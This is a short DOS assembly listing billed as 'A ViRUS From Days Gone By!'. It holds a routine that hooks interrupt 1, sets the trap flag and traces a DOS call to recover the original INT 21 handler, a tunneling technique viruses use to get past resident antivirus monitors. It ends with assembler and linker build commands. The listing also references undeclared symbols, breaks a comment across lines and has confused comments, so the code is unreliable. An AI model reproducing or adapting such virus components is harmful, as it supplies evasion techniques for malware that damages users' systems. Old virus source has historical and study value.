;                   A ViRUS From Days Gone By!
;                  ============================


.model tiny
.radix 16
.code

        org 100

trace_21:

        push es
        mov ah,52
        int 21      ; get list of lists
        mov ax,es:[bx-2]
        mov cs:[offset dossegment],ax ; first dos segment in list of lists
        xor ax,ax
        mov ds,ax
        les ax,ds:[1*4]
        mov word ptr cs:[offset oldint1],ax
        mov word ptr cs:[offset oldint1+2],es  ; saves old int-1 vector
        lea ax,cs:[offset int1]
        cli                             ; clear interrupt flag
        mov word ptr ds:[4],ax
        mov word ptr ds:[6],cs          ; take control of int-1
        sti                             ; set interrupt flag
        pushf
        pop ax                          ; get flags in ax
        or ax,100
        push ax                         ; set trap flag on when popped
        in al,21
        mov cs:[offset oldIMR],al              ; save old IMR status
        mov al,0ff
        out 21,al                       ; disable all interrupts
        popf                            ; turn on trace/trap flag
        mov ah,52
        pushf
        call dword ptr cs:[offset oldint21]    ; get list of lists for
tunneling
        pushf
        pop ax
        and ax,0feff                    ; turn off trap, tracing flag
        push ax
        popf
        mov al,cs:[offset oldIMR]              ; restore old IMR status
        out 21,al
        les ax,cs:[offset oldint1]
        cli
        mov word ptr ds:[4],ax
        mov word ptr ds:[6],es          ; restore int-1 vector to originali
        sti
int1:
        push bp
        mov bp,sp                       ; stack pointer to bp
        push ax
        cmp word ptr [bp+4],0c000       ; DOS/BIOS ?    if so goto foi
        jnb foi
        mov ax,cs:[offset dossegment]   ; In DOS ? if so goto foi (found it
        cmp [bp+4],ax
        jbe foi
        pop ax
        pop bp
        iret
foi:
        mov ax,[bp+2]
        mov word ptr cs:[offset origint21],ax   ; save the traced int-21
        mov ax,[bp+4]                           ; offset
        mov word ptr cs:[offset origint21+2],ax ; save the traced int-21
        and word ptr [bp+6],0feff               ; segment
        mov al,cs:[offset oldIMR]
        out 21,al                               ; restore the IMR
        pop ax
        pop bp
        iret                                    ; end the tracing and ret

; Variables
oldint1         dd      ?
dossegment      dw      ?
oldIMR          db      ?

end trace_21
code ends


        tasm name /m10, tlink name /t
